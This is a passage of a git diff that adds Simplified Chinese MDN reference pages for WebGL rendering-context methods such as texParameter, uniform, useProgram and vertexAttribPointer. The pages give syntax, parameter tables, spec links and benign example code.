  • gl.UNSIGNED_SHORT_4_4_4_4: 4 bits红, 4 bits绿, 4 bits蓝, 4 alpha bits.
  • +
  • gl.UNSIGNED_SHORT_5_5_5_1: 5 bits红, 5 bits绿, 5 bits蓝, 1 alpha bit.
  • +
  • 当使用 {{domxref("WEBGL_depth_texture")}} 扩展: +
      +
    • gl.UNSIGNED_SHORT
    • +
    • gl.UNSIGNED_INT
    • +
    • ext.UNSIGNED_INT_24_8_WEBGL (constant provided by the extension)
    • +
    +
  • +
  • 当使用 {{domxref("OES_texture_float")}}扩展 : +
      +
    • gl.FLOAT
    • +
    +
  • +
  • 当使用 {{domxref("OES_texture_half_float")}} 扩展: +
      +
    • ext.HALF_FLOAT_OES (constant provided by the extension)
    • +
    +
  • +
  • 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}},下面的值也是可用的: +
      +
    • gl.BYTE
    • +
    • gl.UNSIGNED_SHORT
    • +
    • gl.SHORT
    • +
    • gl.UNSIGNED_INT
    • +
    • gl.INT
    • +
    • gl.HALF_FLOAT
    • +
    • gl.FLOAT
    • +
    • gl.UNSIGNED_INT_2_10_10_10_REV
    • +
    • gl.UNSIGNED_INT_10F_11F_11F_REV
    • +
    • gl.UNSIGNED_INT_5_9_9_9_REV
    • +
    • gl.UNSIGNED_INT_24_8
    • +
    • gl.FLOAT_32_UNSIGNED_INT_24_8_REV (pixels must be {{jsxref("null")}})
    • +
    +
  • +
+
+
pixels
+
下列对象之一可以用作纹理的像素源: +
    +
  • {{domxref("ArrayBufferView")}}, +
      +
    • {{jsxref("Uint8Array")}}  如果 type 是 gl.UNSIGNED_BYTE则必须使用
    • +
    • {{jsxref("Uint16Array")}} 如果 typegl.UNSIGNED_SHORT_5_6_5, gl.UNSIGNED_SHORT_4_4_4_4, gl.UNSIGNED_SHORT_5_5_5_1, gl.UNSIGNED_SHORText.HALF_FLOAT_OES则必须使用
    • +
    •  {{jsxref("Uint32Array")}} 如果type 是 gl.UNSIGNED_INT 或ext.UNSIGNED_INT_24_8_WEBGL则必须使用
    • +
    •  {{jsxref("Float32Array")}} 如果type 是 gl.FLOAT则必须使用
    • +
    +
  • +
  • {{domxref("ImageData")}},
  • +
  • {{domxref("HTMLImageElement")}},
  • +
  • {{domxref("HTMLCanvasElement")}},
  • +
  • {{domxref("HTMLVideoElement")}},
  • +
  • {{domxref("ImageBitmap")}}.
  • +
+
+
offset
+
 {{domxref("GLintptr")}} 类型偏移到 {{domxref("WebGLBuffer")}}的数据存储中。 用于上传数据到当前范围 {{domxref("WebGLTexture")}} 从WebGLBuffer 范围到PIXEL_UNPACK_BUFFER 目标。(仅在WebGL 2中 )
+
+
    +
+
+
+ +

返回值

+ +

None.

+ +

示例

+ +
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.8", "texImage2D")}}{{Spec2('WebGL')}}WebGL.初始定义
{{SpecName('OpenGL ES 2.0', "glTexImage2D.xml", "glTexImage2D")}}{{Spec2('OpenGL ES 2.0')}}OpenGL ES 2.0 API手册(类似).
{{SpecName('WebGL2', "#3.7.6", "texImage2D")}}{{Spec2('WebGL2')}}WebGL更新定义.
{{SpecName('OpenGL ES 3.0', "glTexImage2D.xhtml", "glTexImage2D")}}{{Spec2('OpenGL ES 3.0')}}OpenGL ES 3.0 API手册(类似).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.texImage2D")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/texparameter/index.html b/files/zh-cn/web/api/webglrenderingcontext/texparameter/index.html new file mode 100644 index 0000000000..6d32ac62e4 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/texparameter/index.html @@ -0,0 +1,173 @@ +--- +title: 'WebGLRenderingContext.texParameter[fi]()' +slug: Web/API/WebGLRenderingContext/texParameter +translation_of: Web/API/WebGLRenderingContext/texParameter +--- +
{{APIRef("WebGL")}}
+ +

WebGL API  的WebGLRenderingContext.texParameter[fi]()方法用于设置纹理参数.

+ +

语法

+ +
void gl.texParameterf(GLenum target, GLenum pname, GLfloat param);
+void gl.texParameteri(GLenum target, GLenum pname, GLint param);
+
+ +

参数

+ +
+
target
+
{{domxref("GLenum")}} 指定绑定点(目标)。可能的值:
+
+
    +
  • gl.TEXTURE_2D: 二维纹理.
  • +
  • gl.TEXTURE_CUBE_MAP: 立方体纹理.
  • +
  • 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} 时,还可以使用以下值 +
      +
    • gl.TEXTURE_3D: 三维贴图.
    • +
    • gl.TEXTURE_2D_ARRAY: 二维数组贴图.
    • +
    +
  • +
+
+
+ +

pname 参数是 {{domxref("Glenum")}}  指定要设置的纹理参数. param 参数是 {{domxref("GLfloat")}} 或 {{domxref("GLint")}} 已指定的 pname参数的值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
pname描述参数
Available in WebGL 1
gl.TEXTURE_MAG_FILTER纹理放大滤波器gl.LINEAR (默认值), gl.NEAREST.
gl.TEXTURE_MIN_FILTER纹理缩小滤波器gl.LINEAR, gl.NEAREST, gl.NEAREST_MIPMAP_NEAREST, gl.LINEAR_MIPMAP_NEAREST, gl.NEAREST_MIPMAP_LINEAR (默认值), gl.LINEAR_MIPMAP_LINEAR.
gl.TEXTURE_WRAP_S纹理坐标水平填充 sgl.REPEAT (默认值),gl.CLAMP_TO_EDGE, gl.MIRRORED_REPEAT.
gl.TEXTURE_WRAP_T纹理坐标垂直填充 tgl.REPEAT (默认值),gl.CLAMP_TO_EDGE, gl.MIRRORED_REPEAT.
Additionally available when using the {{domxref("EXT_texture_filter_anisotropic")}} extension
ext.TEXTURE_MAX_ANISOTROPY_EXT纹理最大向异性 {{domxref("GLfloat")}} 值.
Additionally available when using a WebGL 2 context
gl.TEXTURE_BASE_LEVEL纹理映射等级任何整型值.
gl.TEXTURE_COMPARE_FUNC纹理对比函数gl.LEQUAL (默认值), gl.GEQUAL, gl.LESS, gl.GREATER, gl.EQUAL, gl.NOTEQUAL, gl.ALWAYS, gl.NEVER.
gl.TEXTURE_COMPARE_MODE纹理对比模式gl.NONE (默认值), gl.COMPARE_REF_TO_TEXTURE.
gl.TEXTURE_MAX_LEVEL最大纹理映射数组等级任何整型值.
gl.TEXTURE_MAX_LOD纹理最大细节层次值任何整型值.
gl.TEXTURE_MIN_LOD纹理最小细节层次值任何浮点型值.
gl.TEXTURE_WRAP_R纹理坐标r包装功能gl.REPEAT (默认值), gl.CLAMP_TO_EDGE, gl.MIRRORED_REPEAT.
+ +

返回值

+ +

INVALID_ENUM target不是合法的值。

+ +

INVALID_OPRATION 当前目标上没有绑定纹理对象。

+ +

示例

+ +
gl.texParameterf(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_NEAREST);
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.8", "texParameter[fi]")}}{{Spec2('WebGL')}}WebGL初始定义.
{{SpecName('OpenGL ES 2.0', "glTexParameter.xml", "glTexParameter")}}{{Spec2('OpenGL ES 2.0')}}OpenGL ES 2.0 API手册(类似).
{{SpecName('WebGL2', "#3.7.6", "texParameter[fi]")}}{{Spec2('WebGL2')}}WebGL更新定义.
{{SpecName('OpenGL ES 3.0', "glTexParameter.xhtml", "glTexParameter")}}{{Spec2('OpenGL ES 3.0')}}OpenGL ES 3.0 API手册(类似).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.texParameterf")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/uniform/index.html b/files/zh-cn/web/api/webglrenderingcontext/uniform/index.html new file mode 100644 index 0000000000..d3c65c9b2c --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/uniform/index.html @@ -0,0 +1,93 @@ +--- +title: 'WebGLRenderingContext.uniform[1234][fi][v]()' +slug: Web/API/WebGLRenderingContext/uniform +translation_of: Web/API/WebGLRenderingContext/uniform +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的WebGLRenderingContext.uniform[1234][fi][v]() 方法指定了uniform 变量的值。所有在ShaderProgram对象中定义的,且激活的uniform变量在ShaderProgram 执行link成功后被初始化为0。它们将保留通过调用此方法分配给它们的值,直到再次将其初始化为0时,也就是ShaderProgram对象上发生下一次成功的link操作为止。

+ +
+

这里描述的许多函数都扩展了 WebGL 2 接口, 可在以下地址查看 {{domxref("WebGL2RenderingContext.uniform","WebGL2RenderingContext.uniform[1234][uif][v]()")}}.

+
+ +

语法

+ +
void gl.uniform1f(location, v0);
+void gl.uniform1fv(location, value);
+void gl.uniform1i(location, v0);
+void gl.uniform1iv(location, value);
+
+void gl.uniform2f(location, v0, v1);
+void gl.uniform2fv(location, value);
+void gl.uniform2i(location, v0, v1);
+void gl.uniform2iv(location, value);
+
+void gl.uniform3f(location, v0, v1, v2);
+void gl.uniform3fv(location, value);
+void gl.uniform3i(location, v0, v1, v2);
+void gl.uniform3iv(location, value);
+
+void gl.uniform4f(location, v0, v1, v2, v3);
+void gl.uniform4fv(location, value);
+void gl.uniform4i(location, v0, v1, v2, v3);
+void gl.uniform4iv(location, value);
+
+ +

参数

+ +
+
location
+
 {{domxref("WebGLUniformLocation")}} 对象包含了将要修改的uniform 属性位置.
+
value, v0, v1, v2, v3
+
新的值将被用于uniform 变量. 可能的类型: +
    +
  • 浮点值 {{jsxref("Number")}}(方法名跟"f").
  • +
  • 浮点数组 (例如 {{jsxref("Float32Array")}} 或 {{jsxref("Array")}} 的数组) 用于浮点型向量方法 (方法名跟 "fv").
  • +
  • 整型值 {{jsxref("Number")}}  (方法名跟"i").
  • +
  • 整型数组{{jsxref("Int32Array")}} 用于整型向量方法 (方法名跟 "iv").
  • +
+
+
+ +

返回值

+ +

None.

+ +

示例

+ +
gl.uniform1f(u_alpha, 0.8);
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.10", "uniform")}}{{Spec2('WebGL')}}初始定义
{{SpecName('OpenGL ES 2.0', "glUniform.xml", "glUniform")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API的主页.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.uniform1f")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/uniformmatrix/index.html b/files/zh-cn/web/api/webglrenderingcontext/uniformmatrix/index.html new file mode 100644 index 0000000000..57669ab170 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/uniformmatrix/index.html @@ -0,0 +1,81 @@ +--- +title: 'WebGLRenderingContext.uniformMatrix[234]fv()' +slug: Web/API/WebGLRenderingContext/uniformMatrix +tags: + - WebGL + - WebGLAPI + - WebGLRenderingContext + - uniformMatrix2fv + - uniformMatrix3fv + - uniformMatrix4fv + - 矩阵 +translation_of: Web/API/WebGLRenderingContext/uniformMatrix +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的WebGLRenderingContext.uniformMatrix[234]fv() 方法为 uniform variables 指定了矩阵值 .

+ +

该方法的3个版本 (uniformMatrix2fv(), uniformMatrix3fv(), 和unifomMatrix4fv()) ,分别以二阶,三阶,和四阶方阵作为输入值,它们应是分别具有4,9,16个浮点数的数组.

+ +

语法

+ +
WebGLRenderingContext.uniformMatrix2fv(location, transpose, value);
+WebGLRenderingContext.uniformMatrix3fv(location, transpose, value);
+WebGLRenderingContext.uniformMatrix4fv(location, transpose, value);
+
+ +

参数

+ +
+
location
+
{{domxref("WebGLUniformLocation")}} 对象包含了要修改的 uniform attribute位置. 位置使用 {{domxref("WebGLRenderingContext.getUniformLocation", "getUniformLocation()")}}获得.
+
transpose
+
{{domxref("GLboolean")}} 指定是否转置矩阵。必须为 false.
+
value
+
+

 {{jsxref("Float32Array")}} 型或者是 GLfloat 序列值.假定值以列主要顺序提供.

+
+
+ +

返回值

+ +

undefined

+ +

示例

+ +
gl.uniformMatrix2fv(loc, false, [2,1, 2,2]);
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.10", "uniformMatrix")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glUniform.xml", "glUniform")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.uniformMatrix2fv")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/useprogram/index.html b/files/zh-cn/web/api/webglrenderingcontext/useprogram/index.html new file mode 100644 index 0000000000..822a0b5684 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/useprogram/index.html @@ -0,0 +1,76 @@ +--- +title: WebGLRenderingContext.useProgram() +slug: Web/API/WebGLRenderingContext/useProgram +translation_of: Web/API/WebGLRenderingContext/useProgram +--- +
{{APIRef("WebGL")}}
+ +

 WebGLRenderingContext.useProgram() 方法将定义好的{{domxref("WebGLProgram")}} 对象添加到当前的渲染状态中。

+ +

语法

+ +
void gl.useProgram(program);
+
+ +

参数

+ +
+
program
+
需要添加的{{domxref("WebGLProgram")}}对象
+
+ +

返回参数

+ +

无.

+ +

示例

+ +
var program = gl.createProgram();
+
+// Attach pre-existing shaders
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+gl.useProgram(program);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "useProgram")}}{{Spec2('WebGL')}}原始定义.
{{SpecName('OpenGL ES 2.0', "glUseProgram.xml", "glUseProgram")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API主页.
+ +

浏览器兼容

+ + + +

{{Compat("api.WebGLRenderingContext.useProgram")}}

+ +

相关资料

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/validateprogram/index.html b/files/zh-cn/web/api/webglrenderingcontext/validateprogram/index.html new file mode 100644 index 0000000000..7139cec259 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/validateprogram/index.html @@ -0,0 +1,88 @@ +--- +title: WebGLRenderingContext.validateProgram() +slug: Web/API/WebGLRenderingContext/validateProgram +tags: + - API + - Reference + - WebGL + - WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext/validateProgram +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.validateProgram() 是一种 WebGL API ,主要是用来验证 {{domxref("WebGLProgram")}}。 它在检查 WebGLProgram 程序是否链接成功的同时还会检查其是否能在当前的 WebGL 中使用。

+ +

语法

+ +
void gl.validateProgram(program);
+
+ +

参数

+ +
+
program
+
待验证的 {{domxref("WebGLProgram")}}。
+
+ +

返回值

+ +

None.

+ +

Examples

+ +
var program = gl.createProgram();
+
+// Attach pre-existing shaders
+gl.attachShader(program, vertexShader);
+gl.attachShader(program, fragmentShader);
+
+gl.linkProgram(program);
+gl.validateProgram(program);
+
+if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(program);
+  throw '不能编译 WebGL 程序. \n\n' + info;
+}
+
+gl.useProgram(program);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "validateProgram")}}{{Spec2('WebGL')}}初次定义.
{{SpecName('OpenGL ES 2.0', "glValidateProgram.xml", "glValidateProgram")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API 的帮助页中.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.validateProgram")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/vertexattrib/index.html b/files/zh-cn/web/api/webglrenderingcontext/vertexattrib/index.html new file mode 100644 index 0000000000..d511b0c1d8 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/vertexattrib/index.html @@ -0,0 +1,81 @@ +--- +title: 'WebGLRenderingContext.vertexAttrib[1234]f[v]()' +slug: Web/API/WebGLRenderingContext/vertexAttrib +translation_of: Web/API/WebGLRenderingContext/vertexAttrib +--- +
{{APIRef("WebGL")}}
+ +

 WebGLRenderingContext.vertexAttrib[1234]f[v]() 是 WebGL API 的方法,可以为顶点attibute变量赋值。

+ +

语法

+ +
void gl.vertexAttrib1f(index, v0);
+void gl.vertexAttrib2f(index, v0, v1);
+void gl.vertexAttrib3f(index, v0, v1, v2);
+void gl.vertexAttrib4f(index, v0, v1, v2, v3);
+
+void gl.vertexAttrib1fv(index, value);
+void gl.vertexAttrib2fv(index, value);
+void gl.vertexAttrib3fv(index, value);
+void gl.vertexAttrib4fv(index, value);
+
+ +

Parameters

+ +
+
index
+
 {{domxref("GLuint")}} 类型,指定了待修改顶点attribute变量的存储位置。
+
v0, v1, v2, v3
+
浮点数类型{{jsxref("Number")}},用于设置顶点attibute变量的各分量值。
+
value
+
+

{{jsxref("Float32Array")}} 类型,用于设置顶点attibute变量的向量值。

+
+
+ +

返回值

+ +

无。

+ +

示例

+ +
const a_foobar = gl.getAttribLocation(shaderProgram, 'foobar');
+//either set each component individually:
+gl.vertexAttrib3f(a_foobar, 10.0, 5.0, 2.0);
+//or provide a Float32Array:
+const floatArray = new Float32Array([10.0, 5.0, 2.0]);
+gl.vertexAttrib3fv(a_foobar, floatArray);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.10", "vertexAttrib")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glVertexAttrib.xml", "glVertexAttrib")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.vertexAttrib1f")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/vertexattribpointer/index.html b/files/zh-cn/web/api/webglrenderingcontext/vertexattribpointer/index.html new file mode 100644 index 0000000000..6b0ce373b7 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/vertexattribpointer/index.html @@ -0,0 +1,270 @@ +--- +title: WebGLRenderingContext.vertexAttribPointer() +slug: Web/API/WebGLRenderingContext/vertexAttribPointer +translation_of: Web/API/WebGLRenderingContext/vertexAttribPointer +--- +
{{APIRef("WebGL")}}
+ +

The WebGLRenderingContext.vertexAttribPointer() method of the WebGL API binds the buffer currently bound to gl.ARRAY_BUFFER to a generic vertex attribute of the current vertex buffer object and specifies its layout.
+ 告诉显卡从当前绑定的缓冲区(bindBuffer()指定的缓冲区)中读取顶点数据。

+ +

 WebGL API 的WebGLRenderingContext.vertexAttribPointer()方法绑定当前缓冲区范围到gl.ARRAY_BUFFER,成为当前顶点缓冲区对象的通用顶点属性并指定它的布局(缓冲区对象中的偏移量)。

+ +

Syntax

+ +
void gl.vertexAttribPointer(index, size, type, normalized, stride, offset);
+
+ +

Parameters

+ +
+
index
+
A {{domxref("GLuint")}} specifying the index of the vertex attribute that is to be modified.
+ 指定要修改的顶点属性的索引。
+
size
+
A {{domxref("GLint")}} specifying the number of components per vertex attribute. Must be 1, 2, 3, or 4.
+ 指定每个顶点属性的组成数量,必须是1,2,3或4。
+
type
+
A {{domxref("GLenum")}} specifying the data type of each component in the array. Possible values:
+ 指定数组中每个元素的数据类型可能是: +
    +
  • gl.BYTE: signed 8-bit integer, with values in [-128, 127]
    + 有符号的8位整数,范围[-128, 127]
  • +
  • gl.SHORT: signed 16-bit integer, with values in [-32768, 32767]
    + 有符号的16位整数,范围[-32768, 32767]
  • +
  • gl.UNSIGNED_BYTE: unsigned 8-bit integer, with values in [0, 255]
    + 无符号的8位整数,范围[0, 255]
  • +
  • gl.UNSIGNED_SHORT: unsigned 16-bit integer, with values in [0, 65535]
    + 无符号的16位整数,范围[0, 65535]
  • +
  • gl.FLOAT: 32-bit IEEE floating point number
    + 32位IEEE标准的浮点数
  • +
  • When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally:
    + 使用WebGL2版本的还可以使用以下值: +
      +
    • gl.HALF_FLOAT: 16-bit IEEE floating point number
      + 16位IEEE标准的浮点数
    • +
    +
  • +
+
+
normalized
+
A {{domxref("GLboolean")}} specifying whether integer data values should be normalized into a certain range when being casted to a float.
+ 当转换为浮点数时是否应该将整数数值归一化到特定的范围。 +
    +
  • For types gl.BYTE and gl.SHORT, normalizes the values to [-1, 1] if true.
    + 对于类型gl.BYTEgl.SHORT,如果是true则将值归一化为[-1, 1]
  • +
  • For types gl.UNSIGNED_BYTE and gl.UNSIGNED_SHORT, normalizes the values to [0, 1] if true.
    + 对于类型gl.UNSIGNED_BYTEgl.UNSIGNED_SHORT,如果是true则将值归一化为[0, 1]
  • +
  • For types gl.FLOAT and gl.HALF_FLOAT, this parameter has no effect.
    + 对于类型gl.FLOATgl.HALF_FLOAT,此参数无效
  • +
+
+
stride
+
A {{domxref("GLsizei")}} specifying the offset in bytes between the beginning of consecutive vertex attributes. Cannot be larger than 255. If stride is 0, the attribute is assumed to be tightly packed, that is, the attributes are not interleaved but each attribute is in a separate block, and the next vertex' attribute follows immediately after the current vertex.
+
一个GLsizei,以字节为单位指定连续顶点属性开始之间的偏移量(即数组中一行长度)。不能大于255。如果stride为0,则假定该属性是紧密打包的,即不交错属性,每个属性在一个单独的块中,下一个顶点的属性紧跟当前顶点之后。
+
+
offset
+
A {{domxref("GLintptr")}} specifying an offset in bytes of the first component in the vertex attribute array. Must be a multiple of the byte length of type.
+
{{domxref("GLintptr")}}指定顶点属性数组中第一部分的字节偏移量。必须是类型的字节长度的倍数。
+
+ +

Return value

+ +

None.

+ +

Exceptions

+ + + +

Description

+ +

Let's assume we want to render some 3D geometry, and for that we will need to supply our vertices to the Vertex Shader. Each vertex has a few attributes, like position, normal vector, or texture coordinate, that are defined in an {{jsxref("ArrayBuffer")}} and will be supplied to the Vertex Buffer Object (VBO). First, we need to bind the {{domxref("WebGLBuffer")}} we want to use to gl.ARRAY_BUFFER, then, with this method, gl.vertexAttribPointer(), we specify in what order the attributes are stored, and what data type they are in. In addition, we need to include the stride, which is the total byte length of all attributes for one vertex. Also, we have to call {{domxref("WebGLRenderingContext/enableVertexAttribArray", "gl.enableVertexAttribArray()")}} to tell WebGL that this attribute should be filled with data from our array buffer.

+ +

Usually, your 3D geometry is already in a certain binary format, so you need to read the specification of that specific format to figure out the memory layout. However, if you are designing the format yourself, or your geometry is in text files (like Wavefront .obj files) and must be converted into an ArrayBuffer at runtime, you have free choice on how to structure the memory. For highest performance, interleave the attributes and use the smallest data type that still accurately represents your geometry.

+ +

The maximum number of vertex attributes depends on the graphics card, and you can call gl.getParameter(gl.MAX_VERTEX_ATTRIBS) to get this value. On high-end graphics cards, the maximum is 16, on lower-end graphics cards, the value will be lower.

+ +

Attribute index

+ +

For each attribute, you must specify its index. This is independent from the location inside the array buffer, so your attributes can be sent in a different order than how they are stored in the array buffer. You have two options:

+ + + +

Integer attributes

+ +

While the ArrayBuffer can be filled with both integers and floats, the attributes will always be converted to a float when they are sent to the vertex shader. If you need to use integers in your vertex shader code, you can either cast the float back to an integer in the vertex shader (e.g. (int) floatNumber), or use {{domxref("WebGL2RenderingContext.vertexAttribIPointer()", "gl.vertexAttribIPointer()")}} from WebGL2.

+ +

Default attribute values

+ +

The vertex shader code may include a number of attributes, but we don't need to specify the values for each attribute. Instead, we can supply a default value that will be identical for all vertices. We can call {{domxref("WebGLRenderingContext.disableVertexAttribArray()", "gl.disableVertexAttribArray()")}} to tell WebGL to use the default value, while calling {{domxref("WebGLRenderingContext.enableVertexAttribArray()", "gl.enableVertexAttribArray()")}} will read the values from the array buffer as specified with gl.vertexAttribPointer().

+ +

Similarily, if our vertex shader expects e.g. a 4-component attribute with vec4 but in our gl.vertexAttribPointer() call we set the size to 2, then WebGL will set the first two components based on the array buffer, while the third and fourth components are taken from the default value.

+ +

The default value is vec4(0.0, 0.0, 0.0, 1.0) by default but we can specify a different default value with {{domxref("WebGLRenderingContext.vertexAttrib()", "gl.vertexAttrib[1234]f[v]()")}}.

+ +

For example, your vertex shader may be using a position and a color attribute. Most meshes have the color specified at a per-vertex level, but some meshes are of a uniform shade. For those meshes, it is not necessary to place the same color for each vertex into the array buffer, so you use gl.vertexAttrib4fv() to set a constant color.

+ +

Querying current settings

+ +

You can call {{domxref("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} and {{domxref("WebGLRenderingContext.getVertexAttribOffset()", "gl.getVertexAttribOffset()")}} to get the current parameters for an attribute, e.g. the data type or whether the attribute should be normalized. Keep in mind that these WebGL functions have a slow performance and it is better to store the state inside your JavaScript application. However, these functions are great for debugging a WebGL context without touching the application code.

+ +

Examples

+ +

This example shows how to send your vertex attributes to the shader program. We use an imaginary data structure where the attributes of each vertex are stored interleaved with a length of 20 bytes per vertex:

+ +
    +
  1. position: We need to store the X, Y and Z coordinates. For highest precision, we use 32-bit floats; in total this uses 12 bytes.
  2. +
  3. normal vector: We need to store the X, Y and Z components of the normal vector, but since precision is not that important, we use 8-bit signed integers. For better performance, we align the data to 32 bits by also storing a fourth zero-valued component, bringing the total size to 4 bytes. Also, we tell WebGL to normalize the values because our normals are always in range [-1, 1].
  4. +
  5. texture coordinate: We need to store the U and V coordinates; for this 16-bit unsigned integers offer enough precision, the total size is 4 bytes. We also tell WebGL to normalize the values to [0, 1].
  6. +
+ +

For example, the following vertex:

+ +
{
+  "position": [1.0, 2.0, 1.5],
+  "normal": [1.0, 0.0, 0.0],
+  "texCoord": [0.5, 0.25]
+}
+
+ +

Will be stored in the array buffer as follows:

+ + + + + + + + + + + + + + + +
00 00 80 3F00 00 00 4000 00 0C 3F7F0000007F FF3F FF
+ +

Creating the array buffer

+ +

First, we dynamically create the array buffer from JSON data using a {{domxref("DataView")}}. Note the use of true because WebGL expects our data to be in little-endian.

+ +
//load geometry with fetch() and Response.json()
+const response = await fetch('assets/geometry.json');
+const vertices = await response.json();
+
+//Create array buffer
+const buffer = new ArrayBuffer(20 * vertices.length);
+//Fill array buffer
+const dv = new DataView(buffer);
+for (let i = 0; i < vertices.length; i++) {
+  dv.setFloat32(20 * i, vertices[i].position[0], true);
+  dv.setFloat32(20 * i + 4, vertices[i].position[1], true);
+  dv.setFloat32(20 * i + 8, vertices[i].position[2], true);
+  dv.setInt8(20 * i + 12, vertices[i].normal[0] * 0x7F);
+  dv.setInt8(20 * i + 13, vertices[i].normal[1] * 0x7F);
+  dv.setInt8(20 * i + 14, vertices[i].normal[2] * 0x7F);
+  dv.setInt8(20 * i + 15, 0);
+  dv.setUint16(20 * i + 16, vertices[i].texCoord[0] * 0xFFFF, true);
+  dv.setUint16(20 * i + 18, vertices[i].texCoord[1] * 0xFFFF, true);
+}
+ +

For higher performance, we could also do the previous JSON to ArrayBuffer conversion on the server-side, e.g. with Node.js. Then we could load the binary file and interpret it as an array buffer:

+ +
const response = await fetch('assets/geometry.bin');
+const buffer = await response.arrayBuffer();
+
+ +

Consume array buffer with WebGL

+ +

First, we create a new Vertex Buffer Object (VBO) and supply it with our array buffer:

+ +
//Bind array buffer to a Vertex Buffer Object
+const vbo = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, vbo);
+gl.bufferData(gl.ARRAY_BUFFER, buffer, gl.STATIC_DRAW);
+
+ +

Then, we specify the memory layout of the array buffer, either by setting the index ourselves:

+ +
//Describe the layout of the buffer:
+//1. position, not normalized
+gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 20, 0);
+gl.enableVertexAttribArray(0);
+//2. normal vector, normalized to [-1, 1]
+gl.vertexAttribPointer(1, 4, gl.BYTE, true, 20, 12);
+gl.enableVertexAttribArray(1);
+//3. texture coordinates, normalized to [0, 1]
+gl.vertexAttribPointer(2, 2, gl.UNSIGNED_SHORT, true, 20, 16);
+gl.enableVertexAttribArray(2);
+
+//Set the attributes in the vertex shader to the same indices
+gl.bindAttribLocation(shaderProgram, 0, 'position');
+gl.bindAttribLocation(shaderProgram, 1, 'normal');
+gl.bindAttribLocation(shaderProgram, 2, 'texUV');
+//Since the attribute indices have changed, we must re-link the shader
+//Note that this will reset all uniforms that were previously set.
+gl.linkProgram(shaderProgram);
+
+ +

Or we can use the index provided by the graphics card instead of setting the index ourselves; this avoids the re-linking of the shader program.

+ +
const locPosition = gl.getAttribLocation(shaderProgram, 'position');
+gl.vertexAttribPointer(locPosition, 3, gl.FLOAT, false, 20, 0);
+gl.enableVertexAttribArray(locPosition);
+
+const locNormal = gl.getAttribLocation(shaderProgram, 'normal');
+gl.vertexAttribPointer(locNormal, 4, gl.BYTE, true, 20, 12);
+gl.enableVertexAttribArray(locNormal);
+
+const locTexUV = gl.getAttribLocation(shaderProgram, 'texUV');
+gl.vertexAttribPointer(locTexUV, 2, gl.UNSIGNED_SHORT, true, 20, 16);
+gl.enableVertexAttribArray(locTexUV);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.10", "vertexAttribPointer")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glVertexAttribPointer.xml", "glVertexAttribPointer")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

